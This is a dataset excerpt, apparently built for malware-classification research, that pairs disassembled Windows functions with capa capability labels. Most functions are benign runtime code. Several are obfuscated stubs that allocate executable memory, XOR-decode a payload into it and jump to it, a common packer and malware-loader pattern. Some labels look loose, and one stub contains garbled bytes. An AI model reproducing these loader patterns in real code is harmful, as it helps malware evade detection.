joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402340
Capabilities:
Accept command line arguments
Encrypt data using rc4 prga

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
sub esp, 0x78
call dword [sym.imp.kernel32.dll_GetCommandLineW]
mov ebx, eax
movzx eax, word [eax]
test ax, ax
je 0x4023db
cmp ax, 9
je 0x4023c8
cmp ax, 0x20
je 0x4023c8
mov dword [ebp - 0x6c], 0
xor edi, edi
lea esi, [esi]
cmp ax, 0x5c
je 0x402430
cmp ax, 0x22
je 0x402440
mov dword [ebp - 0x6c], 0
movzx eax, word [ebx + 2]
add ebx, 2
test ax, ax
je 0x4023db
cmp ax, 9
sete cl
cmp ax, 0x20
mov esi, ecx
sete cl
mov edx, esi
or dl, cl
je 0x402380
test edi, 1
jne 0x402380
lea esi, [esi]
movzx eax, word [ebx + 2]
add ebx, 2
cmp ax, 9
je 0x4023c8
cmp ax, 0x20
je 0x4023c8
lea eax, [ebp - 0x5c]
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_GetStartupInfoW]
sub esp, 4
test byte [ebp - 0x30], 1
je 0x402458
movzx esi, word [ebp - 0x2c]
mov dword [esp], 0
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
sub esp, 4
mov dword [esp + 0xc], esi
mov dword [esp + 8], ebx
mov dword [esp + 4], 0
mov dword [esp], eax
call sym._wWinMain_16
sub esp, 0x10
lea esp, [ebp - 0x10]
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret
inc dword [ebp - 0x6c]
jmp 0x40239b
and dword [ebp - 0x6c], 1
jne 0x402394
xor edi, 1
jmp 0x40239b
mov eax, 1
mov esi, 1
mov word [ebp - 0x2c], ax
jmp 0x4023f4

Function at 0x402470
Capabilities:
Get process heap force flags
Terminate process

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
and esp, 0xfffffff0
sub esp, 0x10
mov dword [esp], 1
call sym.__configure_wide_argv
call sym.__initialize_wide_environment
call sym.___p___argc
mov esi, dword [eax]
call sym.___p___wargv
mov edi, dword [eax]
call sym.__get_initial_wide_environment
mov ebx, eax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 8]
mov edx, dword [eax + 0x3c]
cmp word [eax + edx + 0x5c], 2
sete al
movzx eax, al
inc eax
mov dword [esp], eax
call sym.__set_app_type
mov dword [esp + 8], ebx
mov dword [esp + 4], edi
mov dword [esp], esi
call sym._wmain
mov dword [esp], eax
call sym._exit
nop
nop
Function at 0x401ca8
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef0
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x110], ecx
mov dword [ebp - 4], edx
mov esi, eax
xor eax, eax
push ebp
push 0x401db2
push dword fs:[eax]
mov dword fs:[eax], esp
test esi, esi
jne 0x401cfb
push 0x105
lea eax, [ebp - 0x109]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
lea edx, [ebp - 0x109]
mov eax, dword [ebp - 4]
call fcn.00401500
jmp 0x401d99
call sub.kernel32.dll_GetCommandLineA
mov ebx, eax
mov eax, ebx
call fcn.00401c5c
mov ebx, eax
mov edi, ebx
mov eax, ebx
call fcn.00401c7c
mov ebx, eax
test esi, esi
je 0x401d23
dec esi
test esi, esi
jl 0x401d23
cmp edi, ebx
jne 0x401d02
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x110]
mov edx, edi
call fcn.00401548
mov eax, dword [ebp - 0x110]
mov ecx, ebx
sub ecx, edi
mov edx, 1
call fcn.0040166c
mov eax, dword [ebp - 4]
mov eax, dword [eax]
call fcn.00401578
cmp eax, 2
jl 0x401d99
mov eax, dword [ebp - 4]
mov eax, dword [eax]
cmp byte [eax], 0x22
jne 0x401d99
mov eax, dword [ebp - 4]
mov eax, dword [eax]
call fcn.00401578
mov edx, dword [ebp - 4]
mov edx, dword [edx]
cmp byte [edx + eax - 1], 0x22
jne 0x401d99
mov eax, dword [ebp - 4]
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax]
call fcn.00401578
mov ecx, eax
sub ecx, 2
mov eax, dword [ebp - 4]
mov eax, dword [eax]
mov edx, 2
call fcn.0040166c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x401db9
lea eax, [ebp - 0x110]
call fcn.0040143c
ret

Function at 0x401e10
Capabilities:
Get file size

Disassembly:
push ebx
push esi
push edi
push ebp
mov esi, edx
mov ebx, eax
mov eax, esi
call fcn.004016dc
test ebx, ebx
je 0x401e6a
mov cl, 1
xor edx, edx
mov eax, ebx
call fcn.00402038
mov edi, eax
push 0
push ebx
call sub.kernel32.dll_GetFileSize
mov ebp, eax
mov eax, ebp
sub eax, edi
inc eax
mov ecx, eax
add ecx, ecx
mov eax, esi
xor edx, edx
call fcn.00401780
mov eax, dword [esi]
call fcn.004017b4
mov edx, eax
mov ecx, ebp
sub ecx, edi
mov eax, ebx
call fcn.00402048
sub ebp, edi
mov eax, dword [esi]
mov word [eax + ebp*2], 0
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x401f0c
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebx
push esi
push edi
mov edi, eax
xor ebx, ebx
push 0
call sub.user32.dll_OpenClipboard
test eax, eax
je 0x401f87
call sub.user32.dll_EmptyClipboard
mov eax, edi
xor edx, edx
call fcn.004017d0
je 0x401f80
mov eax, edi
call fcn.004017c4
inc eax
add eax, eax
push eax
push 0x2000
call sub.kernel32.dll_GlobalAlloc
mov esi, eax
test esi, esi
je 0x401f82
push esi
call sub.kernel32.dll_GlobalLock
mov ebx, eax
mov eax, edi
call fcn.004017c4
inc eax
add eax, eax
push eax
mov eax, edi
call fcn.004017b4
mov edx, ebx
pop ecx
call fcn.00401164
push esi
call sub.kernel32.dll_GlobalUnlock
push esi
push 0xd
call sub.user32.dll_SetClipboardData
test eax, eax
setne bl
jmp 0x401f82
mov bl, 1
call sub.user32.dll_CloseClipboard
mov eax, ebx
pop edi
pop esi
pop ebx
ret
Function at 0x25819d18
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x25819d27
pop dword [ebp - 0x48]
mov eax, 0x302d70bb
add eax, 0xf5542c6c
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0x562e3035
sub dword [ebp - 0x58], 0x7dbeaea
mov dword [ebp - 0x54], 0xb315000d
sub dword [ebp - 0x54], 0x80e1b3c8
mov dword [ebp - 0x50], 0x13b9a9c5
sub dword [ebp - 0x50], 0xc76d6597
mov dword [ebp - 0x4c], 0x8fc4a990
add dword [ebp - 0x4c], 0x703b5670
lea eax, [ebp - 0x58]
push eax
mov eax, 0x6883faa9
add eax, 0xbcfdd59b
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0x50c94c31
add dword [ebp - 0x58], 0x23a91d25
mov dword [ebp - 0x54], 0x2723581c
add dword [ebp - 0x54], 0x1a490959
mov dword [ebp - 0x50], 0xc690f2c1
sub dword [ebp - 0x50], 0x63218655
mov dword [ebp - 0x4c], 0x1efdc35f
sub dword [ebp - 0x4c], 0x1efdc35f
invalid
call [edi - 0x3d]
std
push ds
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x3abcf
push 0
call eax
mov ecx, 0xba8192f8
add ecx, 0x457eadc6
mov esi, eax
mov edx, 0xfd70bf2d
sub edx, 0xd7ee292d
add edx, dword [ebp - 0x48]
mov edi, 0xceefa21e
sub edi, 0x39e59841
xor dword [ebp - 0x18], edi
mov ebx, dword [edx]
sub dword [ebp - 0x44], edx
xor ebx, edi
sub dword [ebp - 0x10], edi
mov dword [esi], ebx
add esi, 0x1f4f008f
dec edi
pop ds
sub esi, 0x1f4f008b
add edx, 0x5f2a27d3
sub edx, 0x5f2a27cf
loop 0x25819e44
add eax, 0x6237f19b
sub eax, 0x6236fbd0
mov ebx, eax
add eax, 5
mov ecx, 0xe1379666
add ecx, 0x4448699a
add ecx, dword [ebp - 0x48]
call ebx
leave
ret
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x402bf1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x402c00
pop dword [ebp - 0x24]
mov eax, 0x402c00
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0x316dafce
add dword [ebp - 0x34], 0x1ce4957d
mov dword [ebp - 0x30], 0xde7c172b
sub dword [ebp - 0x30], 0xac48cae6
mov dword [ebp - 0x2c], 0xf8ae5a09
sub dword [ebp - 0x2c], 0xac6215db
mov dword [ebp - 0x28], 0xff61c8d6
add dword [ebp - 0x28], 0x9e372a
lea eax, [ebp - 0x34]
push eax
mov eax, 0x1ac7e7de
add eax, 0xe5788886
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0xaad758c6
add dword [ebp - 0x34], 0xc99b1090
mov dword [ebp - 0x30], 0x35804a2
add dword [ebp - 0x30], 0x3e145cd3
mov dword [ebp - 0x2c], 0x4e6a7833
add dword [ebp - 0x2c], 0x1504f439
mov dword [ebp - 0x28], 0xbabdc98
sub dword [ebp - 0x28], 0xbabdc98
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, 0xe7dceb7e
add eax, 0x1863852a
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x3a782
push 0
call eax
mov ecx, 0x5ce7223f
sub ecx, 0x5ce6cb20
mov ebx, eax
mov esi, 0xd4f4dc3a
sub esi, 0xd4b3dc3a
add esi, dword [ebp - 0x24]
mov edi, 0xef525cf5
sub edi, 0x7f019cd6
xor dword [ebp - 0x14], eax
mov edx, dword [esi]
sub dword [ebp - 0xc], 0xeae3ee91
add edx, edi
sub dword [ebp - 0x18], 0x3ae409e8
mov dword [ebx], edx
xor dword [ebp - 0x1c], 0x741859e4
add ebx, 0x2a4334b9
add ebx, 0xd5bccb4b
add esi, 0x795a4428
add esi, 0x86a5bbdc
loop 0x402d1d
add eax, 0x82f07b14
add eax, 0x7d10d43b
xor ebx, ebx
add ebx, eax
add eax, 0x7d034961
sub eax, 0x7d03495c
mov ecx, 0x400000
add ecx, dword [ebp - 0x24]
call ebx
leave
ret
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404399

Function at 0x40c302
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x40c311
pop dword [ebp - 0x34]
mov eax, 0x40c311
sub dword [ebp - 0x34], eax
push 0x40
push 0x1000
push 0x374b6
push 0
mov eax, 0x6d07bd53
add eax, 0x93392385
add eax, dword [ebp - 0x34]
call dword [eax]
mov ecx, 0x7385319c
add ecx, 0x8c7b0d5c
xor ebx, ebx
add ebx, eax
mov esi, 0x413bc4
add esi, dword [ebp - 0x34]
mov edi, 0x82ee0d0a
add edi, 0x3362c3e9
xor dword [ebp - 0x2c], edi
mov edx, dword [esi]
xor dword [ebp - 0x30], edx
xor edx, edi
add dword [ebp - 0x1c], ecx
mov dword [ebx], edx
mov dword [ebp - 8], 0x18841cd1
add ebx, 0xa6af4c9a
sub ebx, 0xa6af4c96
add esi, 0xfa3780
sub esi, 0xfa377c
loop 0x40c367
add eax, 0x140a6d7
add eax, 0xfec047dc
mov ebx, eax
add eax, 0xb4225fd2
sub eax, 0xb4225fcd
mov ecx, 0x8458c05b
add ecx, 0x7be73fa5
add ecx, dword [ebp - 0x34]
call ebx
leave
ret
Function at 0x43cf0f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x43cf1e
pop dword [ebp - 0x50]
mov eax, 0x5fab0d4b
sub eax, 0x5f673e2d
sub dword [ebp - 0x50], eax
push 0x40
push 0x1000
push 0x51a27
push 0
mov eax, 0xff1a3547
sub eax, 0xfed58297
add eax, dword [ebp - 0x50]
call dword [eax]
mov ecx, 0x2f92cdbb
sub ecx, 0x2f927fa8
mov esi, eax
mov edi, 0x7ad8f714
sub edi, 0x7a906914
add edi, dword [ebp - 0x50]
mov ebx, 0x8125a6dd
add ebx, 0x8ab79d9a
xor dword [ebp - 0x44], 0x9274e4d6
mov edx, dword [edi]
add dword [ebp - 4], 0x92790125
sub edx, ebx
add dword [ebp - 0x10], edi
mov dword [esi], edx
xor dword [ebp - 0x30], 0x6a6f8062
add esi, 0x50cb3304
add esi, 0xaf34cd00
add edi, 4
loop 0x43cf7d
add eax, 0x12b1f
mov ebx, eax
add eax, 5
mov ecx, 0x9cd0e6db
sub ecx, 0x9c90e6db
add ecx, dword [ebp - 0x50]
call ebx
leave
ret

Function at 0x4400c9
Capabilities:
Encrypt data using dpapi

Disassembly:
push esi
push edi
push 0x46c6d0
push str.AdvApi32.dll
call main
mov edi, dword [sym.imp.kernel32.dll_GetProcAddress]
mov esi, eax
test esi, esi
js 0x44010c
push str.SystemFunction040
push dword [0x46c6d0]
call edi
push str.SystemFunction041
push dword [0x46c6d0]
mov dword [0x46c6c0], eax
call edi
mov dword [0x46c6c4], eax
jmp 0x440111
mov eax, dword [0x46c6c4]
cmp dword [0x46c6c0], 0
je 0x440122
test eax, eax
jne 0x4401c9
push 0x46c6d4
push str.Crypt32.dll
call main
mov esi, eax
test esi, esi
js 0x4401d3
push str.CryptProtectMemory
push dword [0x46c6d4]
call edi
cmp dword [0x46c6c0], 0
mov dword [0x46c6c8], eax
jne 0x440187
test eax, eax
jne 0x440187
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x440171
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x440178
mov esi, 0x80004005
push esi
push 0x28
push str.c:_agent_work138_s_srclibsdutilcryputil.cpp
call fcn.004038f5
jmp 0x4401d3
push str.CryptUnprotectMemory
push dword [0x46c6d4]
call edi
cmp dword [0x46c6c4], 0
mov dword [0x46c6cc], eax
jne 0x4401c9
test eax, eax
jne 0x4401c9
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x4401bd
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x4401c4
mov esi, 0x80004005
push esi
push 0x2d
jmp 0x44017b
mov dword [0x46c6d8], 1
pop edi
mov eax, esi
pop esi
ret
Function at 0x41b76f
Capabilities:
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x66c640
mov eax, dword fs:[0]
push eax
push ebx
push esi
push edi
mov eax, dword [0x70a034]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov eax, dword [ebp + 8]
lea edi, [ebx + 4]
lea esi, [ebp + 0xc]
mov dword [ebx], eax
movsd dword es:[edi], dword [esi]
lea ecx, [ebx + 0x18]
push 0x6c88d0
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
and dword [ebx + 0x10], 0
and dword [ebx + 0x14], 0
call fcn.004292cc
push 0x6d2e2f
lea ecx, [ebx + 0x30]
call fcn.004292cc
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10

Function at 0x4302a4
Capabilities:
Encode data using xor
Encrypt data using tea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
mov esi, edx
xor edx, edx
push edi
mov edi, ecx
push 0x34
lea ecx, [esi - 1]
mov dword [ebp - 0x10], ecx
mov eax, dword [edi + ecx*4]
mov dword [ebp - 4], eax
pop eax
div esi
lea ebx, [eax + 6]
xor eax, eax
cmp ecx, 1
jb 0x430396
jmp 0x43038e
sub eax, 0x61c88647
xor ecx, ecx
mov dword [ebp - 0x14], eax
dec ebx
shr eax, 2
and eax, 3
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 8], ecx
cmp dword [ebp - 0x10], ecx
jbe 0x43034b
mov ebx, dword [ebp - 0xc]
mov edx, dword [edi + ecx*4 + 4]
mov esi, edx
shr eax, 5
mov ecx, edx
xor edx, dword [ebp - 0x14]
shl esi, 2
xor esi, eax
shr ecx, 3
mov eax, dword [ebp - 4]
shl eax, 4
xor ecx, eax
add esi, ecx
mov ecx, dword [ebp - 8]
mov eax, ecx
and eax, 3
xor eax, ebx
mov ebx, dword [ebp + 8]
mov eax, dword [ebx + eax*4]
xor eax, dword [ebp - 4]
mov ebx, dword [ebp - 0xc]
add eax, edx
xor esi, eax
add dword [edi + ecx*4], esi
mov eax, dword [edi + ecx*4]
inc ecx
mov dword [ebp - 4], eax
mov dword [ebp - 8], ecx
cmp ecx, dword [ebp - 0x10]
jb 0x4302fc
mov ebx, dword [ebp - 0x18]
mov edx, dword [edi]
mov esi, edx
shr eax, 5
mov ecx, edx
xor edx, dword [ebp - 0x14]
shl esi, 2
xor esi, eax
shr ecx, 3
mov eax, dword [ebp - 4]
shl eax, 4
xor ecx, eax
mov eax, dword [ebp - 8]
and eax, 3
add esi, ecx
xor eax, dword [ebp - 0xc]
mov ecx, dword [ebp + 8]
mov eax, dword [ecx + eax*4]
xor eax, dword [ebp - 4]
add eax, edx
xor esi, eax
mov eax, dword [ebp - 0x10]
add dword [edi + eax*4], esi
mov eax, dword [edi + eax*4]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x14]
test ebx, ebx
jne 0x4302d7
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x433f6c
Capabilities:
Parse credit card information

Disassembly:
push ecx
push ebx
push esi
mov esi, ecx
xor cl, cl
mov eax, dword [esi + 0x4c]
cmp eax, 0xffffffff
je 0x4340d5
mov edx, 0x10000000
cmp eax, 0x7c
je 0x4340d5
cmp eax, 0x29
jne 0x433fa5
cmp dword [esi + 0x10], 0
jne 0x4340d5
test dword [esi + 0x50], edx
je 0x4340db
cmp eax, 0x2e
jne 0x433fc0
push 5
lea ecx, [esi + 0x24]
call fcn.004341cf
mov ecx, esi
call fcn.00433f47
jmp 0x4340bf
cmp eax, 0x5c
jne 0x43401d
mov ecx, esi
call fcn.00433f47
mov eax, dword [esi + 0x50]
and eax, 0x80
je 0x433ff3
cmp word [esi + 0x48], 0x62
jne 0x433ff3
push 4
lea ecx, [esi + 0x24]
call fcn.004341cf
mov ecx, esi
call fcn.00433f47
jmp 0x4340c6
test eax, eax
je 0x434011
cmp word [esi + 0x48], 0x42
jne 0x434011
push 4
lea ecx, [esi + 0x24]
call fcn.004341cf
mov eax, dword [esi + 0x28]
xor dword [eax + 8], 1
jmp 0x433fe7
mov ecx, esi
call fcn.00434541
jmp 0x4340bf
cmp eax, 0x5b
jne 0x434041
mov ecx, esi
call fcn.00433f47
mov ecx, esi
call fcn.004344f5
cmp dword [esi + 0x4c], 0x5d
je 0x433fb4
push 4
jmp 0x4340dd
cmp eax, 0x28
jne 0x434065
mov ecx, esi
call fcn.00433f47
mov ecx, esi
call fcn.00434639
cmp dword [esi + 0x4c], 0x29
mov bl, al
jne 0x4340db
mov ecx, esi
call fcn.00433f47
jmp 0x4340bb
cmp eax, 0x5e
jne 0x434071
push 2
jmp 0x433fdf
cmp eax, 0x24
jne 0x43407d
push 3
jmp 0x433fdf
cmp eax, 0x2a
je 0x4340d1
cmp eax, 0x2b
je 0x4340d1
cmp eax, 0x3f
je 0x4340d1
cmp eax, 0x7b
je 0x4340d1
cmp eax, 0x7d
jne 0x43409b
test dword [esi + 0x50], edx
je 0x4340cd
cmp eax, 0x5d
jne 0x4340a5
test dword [esi + 0x50], edx
je 0x43403a
movzx eax, word [esi + 0x48]
lea ecx, [esi + 0x24]
push eax
call fcn.004347ef
mov ecx, esi
call fcn.00433f47
mov bl, 1
test bl, bl
je 0x4340c6
mov ecx, esi
call fcn.0043472b
mov cl, 1
jmp 0x433f73
push 6
jmp 0x4340dd
push 0xa
jmp 0x4340dd
pop esi
mov al, cl
pop ebx
pop ecx
ret
push 5
call fcn.0060f78f
int3

Function at 0x43bea2
Capabilities:
Encode data using xor

Disassembly:
push 8
mov eax, 0x66ee07
call fcn.006264e5
mov ebx, edx
mov edi, ecx
mov dword [ebp - 0x10], edi
xor esi, esi
mov dword [ebp - 4], esi
mov dword [ebp - 0x14], esi
mov dword [edi], esi
mov ecx, dword [ebx]
sub ecx, 0x10
call fcn.00430c2a
add eax, 0x10
mov dword [edi], eax
mov dword [ebp - 4], esi
xor ecx, ecx
mov eax, dword [ebx]
push 2
pop edx
mov dword [ebp - 0x14], 1
mov eax, dword [eax - 0xc]
inc eax
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.006253a8
mov edi, eax
pop ecx
test edi, edi
je 0x43bf43
mov ecx, dword [ebx]
mov ecx, dword [ecx - 0xc]
lea ecx, [ecx*2 + 2]
push ecx
push esi
push edi
call fcn.0063e100
mov eax, dword [ebx]
add esp, 0xc
cmp dword [eax - 0xc], esi
jle 0x43bf2f
push esi
mov ecx, ebx
call fcn.00430a74
xor ax, 0x5a
mov word [edi + esi*2], ax
inc esi
mov eax, dword [ebx]
cmp esi, dword [eax - 0xc]
jl 0x43bf17
mov esi, dword [ebp - 0x10]
mov ecx, esi
push edi
call fcn.00430dac
push edi
call fcn.0062539a
pop ecx
jmp 0x43bf46
mov esi, dword [ebp - 0x10]
mov eax, esi
call fcn.006264ae
ret
Function at 0x4450c3
Capabilities:
Write file on windows

Disassembly:
push 0x24
mov eax, 0x66fd4c
call fcn.00626519
mov ebx, ecx
cmp dword [ebx + 0x38], 0
je 0x4451c3
cmp byte [ebx + 0x3d], 0
je 0x4451c3
mov eax, dword [ebx]
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
sete al
test al, al
je 0x4450fd
xor al, al
jmp 0x4451c5
xor eax, eax
mov dword [ebp - 0x18], 0xf
push eax
push 8
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0x2c], al
call fcn.00421b29
and dword [ebp - 4], 0
mov edx, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x18]
cmp ecx, 0x10
lea eax, [ebp - 0x30]
mov ecx, dword [ebx + 0x38]
lea edi, [ebp - 0x2c]
push eax
mov eax, dword [ebp - 0x1c]
lea esi, [ebp - 0x2c]
cmovae edi, edx
cmovae esi, edx
mov edx, dword [ecx]
add eax, edi
push eax
push esi
lea eax, [ebx + 0x40]
push eax
call dword [edx + 0x20]
sub eax, 0
je 0x44515b
sub eax, 1
je 0x44515f
dec eax
sub eax, 1
je 0x4451b1
xor bl, bl
jmp 0x4451b3
mov byte [ebx + 0x3d], 0
mov ecx, dword [ebp - 0x18]
lea eax, [ebp - 0x2c]
mov edx, dword [ebp - 0x2c]
cmp ecx, 0x10
mov esi, dword [ebp - 0x30]
cmovae eax, edx
sub esi, eax
je 0x445197
push dword [ebx + 0x4c]
cmp ecx, 0x10
lea eax, [ebp - 0x2c]
push esi
cmovae eax, edx
push 1
push eax
call fcn.00650c44
add esp, 0x10
cmp esi, eax
jne 0x445157
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x2c]
cmp byte [ebx + 0x3d], 0
je 0x4451b1
test esi, esi
jne 0x445121
push esi
push 8
lea ecx, [ebp - 0x2c]
call fcn.004218c3
jmp 0x44511b
mov bl, 1
push 0
push 1
lea ecx, [ebp - 0x2c]
call fcn.00429656
mov al, bl
jmp 0x4451c5
mov al, 1
call fcn.006264c3
ret

Function at 0x4464f6
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [0x70a034]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
mov esi, ecx
xor ecx, ecx
cmp dword [esi + 0x80], ecx
je 0x446568
cmp dword [esi + 0x84], ecx
jbe 0x446568
cmp dword [eax + 0x14], 8
mov dword [ebp - 8], ecx
jb 0x446528
mov eax, dword [eax]
push 0x6d501c
push eax
lea eax, [ebp - 8]
push eax
call fcn.00650e35
add esp, 0xc
test eax, eax
jne 0x446568
cmp dword [ebp - 8], eax
je 0x446568
push dword [ebp - 8]
push 1
push dword [esi + 0x84]
push dword [esi + 0x80]
call fcn.00650c44
push dword [ebp - 8]
call fcn.0065098c
add esp, 0x14
mov al, 1
jmp 0x44656a
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00625325
mov esp, ebp
pop ebp
ret 4
Function at 0x44674e
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x66c640
mov eax, dword fs:[0]
push eax
push ebx
push esi
push edi
mov eax, dword [0x70a034]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
xor edi, edi
lea ecx, [esi + 0x18]
mov ebx, 0x6d2e2f
mov dword [esi], edi
push ebx
mov dword [esi + 4], edi
mov dword [esi + 8], edi
mov dword [esi + 0xc], edi
mov dword [esi + 0x10], edi
mov dword [esi + 0x14], edi
call fcn.004292cc
push ebx
lea ecx, [esi + 0x30]
call fcn.004292cc
push ebx
lea ecx, [esi + 0x98]
mov dword [esi + 0x48], edi
mov dword [esi + 0x4c], edi
mov dword [esi + 0x50], edi
mov dword [esi + 0x54], edi
mov dword [esi + 0x58], edi
mov dword [esi + 0x5c], edi
mov dword [esi + 0x60], edi
mov dword [esi + 0x64], edi
mov dword [esi + 0x68], edi
mov dword [esi + 0x6c], edi
mov dword [esi + 0x70], edi
mov dword [esi + 0x74], edi
mov dword [esi + 0x78], edi
mov dword [esi + 0x7c], edi
mov dword [esi + 0x80], edi
mov dword [esi + 0x84], edi
mov dword [esi + 0x88], edi
mov dword [esi + 0x8c], edi
mov dword [esi + 0x90], edi
mov dword [esi + 0x94], edi
call fcn.004292cc
push ebx
lea ecx, [esi + 0xb0]
call fcn.004292cc
push ebx
lea ecx, [esi + 0xc8]
call fcn.004292cc
push ebx
lea ecx, [esi + 0xe0]
call fcn.004292cc
push ebx
lea ecx, [esi + 0xf8]
call fcn.004292cc
push ebx
lea ecx, [esi + 0x110]
call fcn.004292cc
push ebx
lea ecx, [esi + 0x128]
call fcn.004292cc
push ebx
lea ecx, [esi + 0x140]
call fcn.004292cc
push ebx
lea ecx, [esi + 0x158]
call fcn.004292cc
push ebx
lea ecx, [esi + 0x170]
call fcn.004292cc
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret